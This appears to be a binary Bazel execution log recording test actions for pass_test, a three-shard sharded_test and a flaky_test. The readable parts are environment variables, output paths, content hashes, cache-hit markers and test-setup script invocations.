'TEST_UNDECLARED_OUTPUTS_ANNOTATIONS_DIR?bazel-out/k8-fastbuild/testlogs/pass_test/test.outputs_manifestU
TEST_UNDECLARED_OUTPUTS_DIR6bazel-out/k8-fastbuild/testlogs/pass_test/test.outputsl
TEST_UNDECLARED_OUTPUTS_MANIFESTHbazel-out/k8-fastbuild/testlogs/pass_test/test.outputs_manifest/MANIFESTc
TEST_UNUSED_RUNFILES_LOG_FILEBbazel-out/k8-fastbuild/testlogs/pass_test/test.unused_runfiles_logT
TEST_WARNINGS_OUTPUT_FILE7bazel-out/k8-fastbuild/testlogs/pass_test/test.warnings
TEST_WORKSPACE_main
TZUTCE
XML_OUTPUT_FILE2bazel-out/k8-fastbuild/testlogs/pass_test/test.xml $24"2bazel-out/k8-fastbuild/testlogs/pass_test/test.xml2C"Abazel-out/k8-fastbuild/testlogs/pass_test/test.exited_prematurely29"7bazel-out/k8-fastbuild/testlogs/pass_test/test.warnings2M"Kbazel-out/k8-fastbuild/testlogs/pass_test/test.raw_splitlogs/test.splitlogs2D"Bbazel-out/k8-fastbuild/testlogs/pass_test/test.unused_runfiles_log2G"Ebazel-out/k8-fastbuild/testlogs/pass_test/test.infrastructure_failure2(%2J"Hbazel-out/k8-fastbuild/testlogs/pass_test/test.outputs_manifest/MANIFEST2M"Kbazel-out/k8-fastbuild/testlogs/pass_test/test.outputs_manifest/ANNOTATIONS2P"Nbazel-out/k8-fastbuild/testlogs/pass_test/test.outputs_manifest/ANNOTATIONS.pb: //:pass_testB
TestRunnerZdisk cache hit`hpx‚E
@eca04b5900fa4ed072925381966f72b38290fddecfc720ab6ea7fef50c0ad80d—ˆà§’"
À–±"À„=XÑ×`¢ ñú—ÖÀô­å
&2"*}'y
0bazel-out/k8-fastbuild/bin/sharded_test-0.paramsE
@bb9b5928db17b3f1215dc9e0405f5118783b5a7995020e6bc5fbd4df81f51d2e¥
(2"&*'t)p
'bazel-out/k8-fastbuild/bin/sharded_testE
@0a8dce773490fe6720cadc64b758164f2f15a9b1a38c0ac818ada7a0bbb84e67<10>4±:®
/usr/bin/gcc
1@bazel-out/k8-fastbuild/bin/sharded_test-0.params$
PATH/bin:/usr/bin:/usr/local/bin
PWD/proc/self/cwd
ZERO_AR_DATE1 (2()://:sharded_testBCppLinkZdisk cache hit`hpx‚E
@6774a44f61fa2f7d823a17ba620338f16daa5a9958d0d086c47ef8ce1bfd6181’’
À„=XË^`¢ ñú—Ö€û½Ø*{
2bazel-out/k8-fastbuild/testlogs/pass_test/test.logE
@c4d97ed7504f0d4c742f57c5c7014ef33de0b8b077e90765a330ab231c2b09e5œ+2*#*,{
2bazel-out/k8-fastbuild/testlogs/pass_test/test.xmlE
@e69b20191cc399c99510a46ad7322a20bd7fe10c2ac70a01c4e73bf5ad48969cýâ:ß
/external/bazel_tools/tools/test/generate-xml.sh
2bazel-out/k8-fastbuild/testlogs/pass_test/test.log
2bazel-out/k8-fastbuild/testlogs/pass_test/test.xml
0
0>
JAVA_RUNFILES-bazel-out/k8-fastbuild/bin/pass_test.runfiles$
PATH/bin:/usr/bin:/usr/local/bin@
PYTHON_RUNFILES-bazel-out/k8-fastbuild/bin/pass_test.runfiles=
RUNFILES_DIR-bazel-out/k8-fastbuild/bin/pass_test.runfiles
RUN_UNDER_RUNFILES1
TEST_BINARY ./pass_testi
TEST_INFRASTRUCTURE_FAILURE_FILEEbazel-out/k8-fastbuild/testlogs/pass_test/test.infrastructure_failurek
TEST_LOGSPLITTER_OUTPUT_FILEKbazel-out/k8-fastbuild/testlogs/pass_test/test.raw_splitlogs/test.splitlogs
TEST_NAME //:pass_test]
TEST_PREMATURE_EXIT_FILEAbazel-out/k8-fastbuild/testlogs/pass_test/test.exited_prematurely
TEST_SHARD_INDEX0
TEST_SIZEmedium<
TEST_SRCDIR-bazel-out/k8-fastbuild/bin/pass_test.runfiles
TEST_TARGET //:pass_test
TEST_TIMEOUT3004
TEST_TMPDIR%_tmp/bbb994006a201e70ea51a76491bba66b
TEST_TOTAL_SHARDS0r
#TEST_UNDECLARED_OUTPUTS_ANNOTATIONSKbazel-out/k8-fastbuild/testlogs/pass_test/test.outputs_manifest/ANNOTATIONSj
'TEST_UNDECLARED_OUTPUTS_ANNOTATIONS_DIR?bazel-out/k8-fastbuild/testlogs/pass_test/test.outputs_manifestU
TEST_UNDECLARED_OUTPUTS_DIR6bazel-out/k8-fastbuild/testlogs/pass_test/test.outputsl
TEST_UNDECLARED_OUTPUTS_MANIFESTHbazel-out/k8-fastbuild/testlogs/pass_test/test.outputs_manifest/MANIFESTc
TEST_UNUSED_RUNFILES_LOG_FILEBbazel-out/k8-fastbuild/testlogs/pass_test/test.unused_runfiles_logT
TEST_WARNINGS_OUTPUT_FILE7bazel-out/k8-fastbuild/testlogs/pass_test/test.warnings
TEST_WORKSPACE_main
TZUTCE
XML_OUTPUT_FILE2bazel-out/k8-fastbuild/testlogs/pass_test/test.xml +2(,: //:pass_testB
TestRunnerZdisk cache hit`hpx‚E
@b584e3038448fcd213780f7b60fdb56bb134d48a2ce96777cb5d5596f25a74ab’’
€‰zXÌ/`¢ ñú—ÖÀ<>ê„-2*)€.R|
0bazel-out/k8-fastbuild/bin/sharded_test.runfiles-2FD
@c2110b558232b10af9e33d06c2547de9fa61baec34cbb315a11ea9015095026a /2*."# 02*."#<23>1Š
Dbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.shardB
@e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855<35>2Š
Dbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.shardB
@e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855L3"H
Fbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputsL4"H
Fbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs 52*."#Ÿ:œ
-external/bazel_tools/tools/test/test-setup.sh
./sharded_testA
JAVA_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles$
PATH/bin:/usr/bin:/usr/local/binC
PYTHON_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles@
RUNFILES_DIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles
RUN_UNDER_RUNFILES1
TEST_BINARY./sharded_testy
TEST_INFRASTRUCTURE_FAILURE_FILEUbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.infrastructure_failure{
TEST_LOGSPLITTER_OUTPUT_FILE[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.raw_splitlogs/test.splitlogsm
TEST_PREMATURE_EXIT_FILEQbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.exited_prematurely
TEST_SHARD_INDEX1^
TEST_SHARD_STATUS_FILEDbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.shard
TEST_SIZEmedium?
TEST_SRCDIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles
TEST_TARGET//:sharded_test
TEST_TIMEOUT3004
TEST_TMPDIR%_tmp/1615829df1fa3563387e50506a1f6692
TEST_TOTAL_SHARDS3‚
#TEST_UNDECLARED_OUTPUTS_ANNOTATIONS[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs_manifest/ANNOTATIONSz
'TEST_UNDECLARED_OUTPUTS_ANNOTATIONS_DIRObazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs_manifeste
TEST_UNDECLARED_OUTPUTS_DIRFbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs|
TEST_UNDECLARED_OUTPUTS_MANIFESTXbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs_manifest/MANIFESTs
TEST_UNUSED_RUNFILES_LOG_FILERbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.unused_runfiles_logd
TEST_WARNINGS_OUTPUT_FILEGbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.warnings
TEST_WORKSPACE_main
TZUTCU
XML_OUTPUT_FILEBbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.xml /2D"Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.xml2S"Qbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.exited_prematurely2(12I"Gbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.warnings2]"[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.raw_splitlogs/test.splitlogs2T"Rbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.unused_runfiles_log2W"Ubazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.infrastructure_failure2(32Z"Xbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs_manifest/MANIFEST2]"[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs_manifest/ANNOTATIONS2`"^bazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs_manifest/ANNOTATIONS.pb://:sharded_testB
TestRunnerZdisk cache hit`hpx‚E
@65823b7bbd88887a55104a2603f0cd27144b0b9a7f03b0cac4c813bde832c527—ˆà§’"
€’ô"À„=X˜Ü`¢ ñú—ÖÀº«úŸ:œ
-external/bazel_tools/tools/test/test-setup.sh
./sharded_testA
JAVA_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles$
PATH/bin:/usr/bin:/usr/local/binC
PYTHON_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles@
RUNFILES_DIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles
RUN_UNDER_RUNFILES1
TEST_BINARY./sharded_testy
TEST_INFRASTRUCTURE_FAILURE_FILEUbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.infrastructure_failure{
TEST_LOGSPLITTER_OUTPUT_FILE[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.raw_splitlogs/test.splitlogsm
TEST_PREMATURE_EXIT_FILEQbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.exited_prematurely
TEST_SHARD_INDEX0^
TEST_SHARD_STATUS_FILEDbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.shard
TEST_SIZEmedium?
TEST_SRCDIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles
TEST_TARGET//:sharded_test
TEST_TIMEOUT3004
TEST_TMPDIR%_tmp/baf5a5c95a10bc1fd7a56eb5c8e0a05a
TEST_TOTAL_SHARDS3‚
#TEST_UNDECLARED_OUTPUTS_ANNOTATIONS[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs_manifest/ANNOTATIONSz
'TEST_UNDECLARED_OUTPUTS_ANNOTATIONS_DIRObazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs_manifeste
TEST_UNDECLARED_OUTPUTS_DIRFbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs|
TEST_UNDECLARED_OUTPUTS_MANIFESTXbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs_manifest/MANIFESTs
TEST_UNUSED_RUNFILES_LOG_FILERbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.unused_runfiles_logd
TEST_WARNINGS_OUTPUT_FILEGbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.warnings
TEST_WORKSPACE_main
TZUTCU
XML_OUTPUT_FILEBbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.xml 02D"Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.xml2S"Qbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.exited_prematurely2(22I"Gbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.warnings2]"[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.raw_splitlogs/test.splitlogs2T"Rbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.unused_runfiles_log2W"Ubazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.infrastructure_failure2(42Z"Xbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs_manifest/MANIFEST2]"[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs_manifest/ANNOTATIONS2`"^bazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs_manifest/ANNOTATIONS.pb://:sharded_testB
TestRunnerZdisk cache hit`hpx‚E
@ae35bb8a01ebfe9e2a0aed70d708da493aa1d33f305661fa22e07f53e15c9e9e—ˆà§’"
€’ô"À„=X˜Ü`¢ ñú—ÖÀº«ú<01>6Š
Dbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.shardB
@e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855L7"H
Fbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputsŸ:œ
-external/bazel_tools/tools/test/test-setup.sh
./sharded_testA
JAVA_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles$
PATH/bin:/usr/bin:/usr/local/binC
PYTHON_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles@
RUNFILES_DIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles
RUN_UNDER_RUNFILES1
TEST_BINARY./sharded_testy
TEST_INFRASTRUCTURE_FAILURE_FILEUbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.infrastructure_failure{
TEST_LOGSPLITTER_OUTPUT_FILE[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.raw_splitlogs/test.splitlogsm
TEST_PREMATURE_EXIT_FILEQbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.exited_prematurely
TEST_SHARD_INDEX2^
TEST_SHARD_STATUS_FILEDbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.shard
TEST_SIZEmedium?
TEST_SRCDIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles
TEST_TARGET//:sharded_test
TEST_TIMEOUT3004
TEST_TMPDIR%_tmp/c0c31cf43ef7d650f7ec6ed08aec4b02
TEST_TOTAL_SHARDS3‚
#TEST_UNDECLARED_OUTPUTS_ANNOTATIONS[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputs_manifest/ANNOTATIONSz
'TEST_UNDECLARED_OUTPUTS_ANNOTATIONS_DIRObazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputs_manifeste
TEST_UNDECLARED_OUTPUTS_DIRFbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputs|
TEST_UNDECLARED_OUTPUTS_MANIFESTXbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputs_manifest/MANIFESTs
TEST_UNUSED_RUNFILES_LOG_FILERbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.unused_runfiles_logd
TEST_WARNINGS_OUTPUT_FILEGbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.warnings
TEST_WORKSPACE_main
TZUTCU
XML_OUTPUT_FILEBbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.xml 52D"Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.xml2S"Qbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.exited_prematurely2(62I"Gbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.warnings2]"[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.raw_splitlogs/test.splitlogs2T"Rbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.unused_runfiles_log2W"Ubazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.infrastructure_failure2(72Z"Xbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputs_manifest/MANIFEST2]"[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputs_manifest/ANNOTATIONS2`"^bazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputs_manifest/ANNOTATIONS.pb://:sharded_testB
TestRunnerZdisk cache hit`hpx‚E
@f814772f77f3e92e5cef55e6b0dc3b1db2d007d20513003199c7ee1612898823—ˆà§’"
À–±"À„=X˜Ü`¢ ñú—Ö€¿èú<01>8‹
Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.logE
@a4c005ec9ab13f0352b62aa089b2ac3fdf04422c5aa1b296137fdf4aa082aeffŸ92*#8<>:‹
Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.logE
@a4c005ec9ab13f0352b62aa089b2ac3fdf04422c5aa1b296137fdf4aa082aeffŸ;2*#:<3A><‹
Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.xmlE
@da3be6ada8aa77a9ec8381222bb8358fcd7300c46bc8318e05b7cd792a471f60š<04>=‹
Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.xmlE
@8faa6c3e54a5d33b706bdd2917bf93f8e6522082b78cf016f23cc398558a7980š<04>>‹
Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.logE
@a4c005ec9ab13f0352b62aa089b2ac3fdf04422c5aa1b296137fdf4aa082aeffŸ?2*#>ª:§
/external/bazel_tools/tools/test/generate-xml.sh
Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.log
Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.xml
0
0A
JAVA_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles$
PATH/bin:/usr/bin:/usr/local/binC
PYTHON_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles@
RUNFILES_DIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles
RUN_UNDER_RUNFILES1
TEST_BINARY./sharded_testy
TEST_INFRASTRUCTURE_FAILURE_FILEUbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.infrastructure_failure{
TEST_LOGSPLITTER_OUTPUT_FILE[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.raw_splitlogs/test.splitlogs+
TEST_NAME//:sharded_test (shard 1 of 3)m
TEST_PREMATURE_EXIT_FILEQbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.exited_prematurely
TEST_SHARD_INDEX0^
TEST_SHARD_STATUS_FILEDbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.shard
TEST_SIZEmedium?
TEST_SRCDIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles
TEST_TARGET//:sharded_test
TEST_TIMEOUT3004
TEST_TMPDIR%_tmp/baf5a5c95a10bc1fd7a56eb5c8e0a05a
TEST_TOTAL_SHARDS3‚
#TEST_UNDECLARED_OUTPUTS_ANNOTATIONS[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs_manifest/ANNOTATIONSz
'TEST_UNDECLARED_OUTPUTS_ANNOTATIONS_DIRObazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs_manifeste
TEST_UNDECLARED_OUTPUTS_DIRFbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs|
TEST_UNDECLARED_OUTPUTS_MANIFESTXbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs_manifest/MANIFESTs
TEST_UNUSED_RUNFILES_LOG_FILERbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.unused_runfiles_logd
TEST_WARNINGS_OUTPUT_FILEGbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.warnings
TEST_WORKSPACE_main
TZUTCU
XML_OUTPUT_FILEBbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.xml 92(<://:sharded_testB
TestRunnerZdisk cache hit`hpx‚E
@f170955a4da54e66b1a6040529fadb7c8bc18b0d15a87c7df4160a72bb039e5e’’
€‰zX¨0`¢ ñú—րļ–<02>@‹
Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.xmlE
@cfe77d8780f07a6b93e2e76bb0806c9b5ec880e414605d03c0a9b92c7d0c57abš°:­
/external/bazel_tools/tools/test/generate-xml.sh
Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.log
Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.xml
0
0A
JAVA_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles$
PATH/bin:/usr/bin:/usr/local/binC
PYTHON_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles@
RUNFILES_DIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles
RUN_UNDER_RUNFILES1
TEST_BINARY./sharded_testy
TEST_INFRASTRUCTURE_FAILURE_FILEUbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.infrastructure_failure{
TEST_LOGSPLITTER_OUTPUT_FILE[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.raw_splitlogs/test.splitlogs+
TEST_NAME//:sharded_test (shard 2 of 3)m
TEST_PREMATURE_EXIT_FILEQbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.exited_prematurely
TEST_SHARD_INDEX1^
TEST_SHARD_STATUS_FILEDbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.shard
TEST_SIZEmedium?
TEST_SRCDIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles
TEST_TARGET//:sharded_test
TEST_TIMEOUT3004
TEST_TMPDIR%_tmp/1615829df1fa3563387e50506a1f6692
TEST_TOTAL_SHARDS3‚
#TEST_UNDECLARED_OUTPUTS_ANNOTATIONS[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs_manifest/ANNOTATIONSz
'TEST_UNDECLARED_OUTPUTS_ANNOTATIONS_DIRObazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs_manifeste
TEST_UNDECLARED_OUTPUTS_DIRFbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs|
TEST_UNDECLARED_OUTPUTS_MANIFESTXbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs_manifest/MANIFESTs
TEST_UNUSED_RUNFILES_LOG_FILERbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.unused_runfiles_logd
TEST_WARNINGS_OUTPUT_FILEGbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.warnings
TEST_WORKSPACE_main
TZUTCU
XML_OUTPUT_FILEBbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.xml ;2(=://:sharded_testB
TestRunnerZdisk cache hit`hpx‚E
@1829a1dbbc86771981413590c77863b3477fae7be62b1596a8f019422208491c’’
€‰z"À„=X¨0`¢ ñú—րļ–ª:§
/external/bazel_tools/tools/test/generate-xml.sh
Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.log
Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.xml
0
0A
JAVA_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles$
PATH/bin:/usr/bin:/usr/local/binC
PYTHON_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles@
RUNFILES_DIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles
RUN_UNDER_RUNFILES1
TEST_BINARY./sharded_testy
TEST_INFRASTRUCTURE_FAILURE_FILEUbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.infrastructure_failure{
TEST_LOGSPLITTER_OUTPUT_FILE[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.raw_splitlogs/test.splitlogs+
TEST_NAME//:sharded_test (shard 3 of 3)m
TEST_PREMATURE_EXIT_FILEQbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.exited_prematurely
TEST_SHARD_INDEX2^
TEST_SHARD_STATUS_FILEDbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.shard
TEST_SIZEmedium?
TEST_SRCDIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles
TEST_TARGET//:sharded_test
TEST_TIMEOUT3004
TEST_TMPDIR%_tmp/c0c31cf43ef7d650f7ec6ed08aec4b02
TEST_TOTAL_SHARDS3‚
#TEST_UNDECLARED_OUTPUTS_ANNOTATIONS[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputs_manifest/ANNOTATIONSz
'TEST_UNDECLARED_OUTPUTS_ANNOTATIONS_DIRObazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputs_manifeste
TEST_UNDECLARED_OUTPUTS_DIRFbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputs|
TEST_UNDECLARED_OUTPUTS_MANIFESTXbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputs_manifest/MANIFESTs
TEST_UNUSED_RUNFILES_LOG_FILERbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.unused_runfiles_logd
TEST_WARNINGS_OUTPUT_FILEGbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.warnings
TEST_WORKSPACE_main
TZUTCU
XML_OUTPUT_FILEBbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.xml ?2(@://:sharded_testB
TestRunnerZdisk cache hit`hpx‚E
@104dc89ec01897d5979a03f7c0fce69f25f2f253c36c483719bb6ffdfdf26601’’
€‰zX¨0`¢ ñú—ÖÀÈù–A2*~BRz
.bazel-out/k8-fastbuild/bin/flaky_test.runfilesA2FD
@c2110b558232b10af9e33d06c2547de9fa61baec34cbb315a11ea9015095026a C2*B"#=D"9
7bazel-out/k8-fastbuild/testlogs/flaky_test/test.outputsö:ó
-external/bazel_tools/tools/test/test-setup.sh
./flaky_test?
JAVA_RUNFILES.bazel-out/k8-fastbuild/bin/flaky_test.runfiles$
PATH/bin:/usr/bin:/usr/local/binA
PYTHON_RUNFILES.bazel-out/k8-fastbuild/bin/flaky_test.runfiles>
RUNFILES_DIR.bazel-out/k8-fastbuild/bin/flaky_test.runfiles
RUN_UNDER_RUNFILES1
TEST_BINARY ./flaky_testj
TEST_INFRASTRUCTURE_FAILURE_FILEFbazel-out/k8-fastbuild/testlogs/flaky_test/test.infrastructure_failurel
TEST_LOGSPLITTER_OUTPUT_FILELbazel-out/k8-fastbuild/testlogs/flaky_test/test.raw_splitlogs/test.splitlogs^
TEST_PREMATURE_EXIT_FILEBbazel-out/k8-fastbuild/testlogs/flaky_test/test.exited_prematurely
TEST_SIZEmedium=
TEST_SRCDIR.bazel-out/k8-fastbuild/bin/flaky_test.runfiles
TEST_TARGET //:flaky_test
TEST_TIMEOUT3004
TEST_TMPDIR%_tmp/d778484882c0bff6932e3335e6656a87s
#TEST_UNDECLARED_OUTPUTS_ANNOTATIONSLbazel-out/k8-fastbuild/testlogs/flaky_test/test.outputs_manifest/ANNOTATIONSk
'TEST_UNDECLARED_OUTPUTS_ANNOTATIONS_DIR@bazel-out/k8-fastbuild/testlogs/flaky_test/test.outputs_manifestV
TEST_UNDECLARED_OUTPUTS_DIR7bazel-out/k8-fastbuild/testlogs/flaky_test/test.outputsm
TEST_UNDECLARED_OUTPUTS_MANIFESTIbazel-out/k8-fastbuild/testlogs/flaky_test/test.outputs_manifest/MANIFESTd
TEST_UNUSED_RUNFILES_LOG_FILECbazel-out/k8-fastbuild/testlogs/flaky_test/test.unused_runfiles_logU
TEST_WARNINGS_OUTPUT_FILE8bazel-out/k8-fastbuild/testlogs/flaky_test/test.warnings
TEST_WORKSPACE_main
TZUTCF
XML_OUTPUT_FILE3bazel-out/k8-fastbuild/testlogs/flaky_test/test.xml C25"3bazel-out/k8-fastbuild/testlogs/flaky_test/test.xml2D"Bbazel-out/k8-fastbuild/testlogs/flaky_test/test.exited_prematurely2:"8bazel-out/k8-fastbuild/testlogs/flaky_test/test.warnings2N"Lbazel-out/k8-fastbuild/testlogs/flaky_test/test.raw_splitlogs/test.splitlogs2E"Cbazel-out/k8-fastbuild/testlogs/flaky_test/test.unused_runfiles_log2H"Fbazel-out/k8-fastbuild/testlogs/flaky_test/test.infrastructure_failure2(D2K"Ibazel-out/k8-fastbuild/testlogs/flaky_test/test.outputs_manifest/MANIFEST2N"Lbazel-out/k8-fastbuild/testlogs/flaky_test/test.outputs_manifest/ANNOTATIONS2Q"Obazel-out/k8-fastbuild/testlogs/flaky_test/test.outputs_manifest/ANNOTATIONS.pb: //:flaky_testB
TestRunnerHR NON_ZERO_EXITZprocesswrapper-sandboxhpx‚E
@b95f7f7c6b2c699bbe8951bec716799645217fd1e03a20f1c86c40d731dc78aa—ˆà§’#
€¢•B€¢•¢ òú—Ö€‰•切 Ã€E|
3bazel-out/k8-fastbuild/testlogs/flaky_test/test.logE
@f4f43b4414847462e830ccf2c6ed78b7f752d507751e9ac2f4edf797aee55ea0<10>F2*#E€G|
3bazel-out/k8-fastbuild/testlogs/flaky_test/test.xmlE
@c97b22d07a3c89431b8b3ecd40ca2e1ff7b17692616d90a4bf67f0606eae9cef²ü:ù
/external/bazel_tools/tools/test/generate-xml.sh
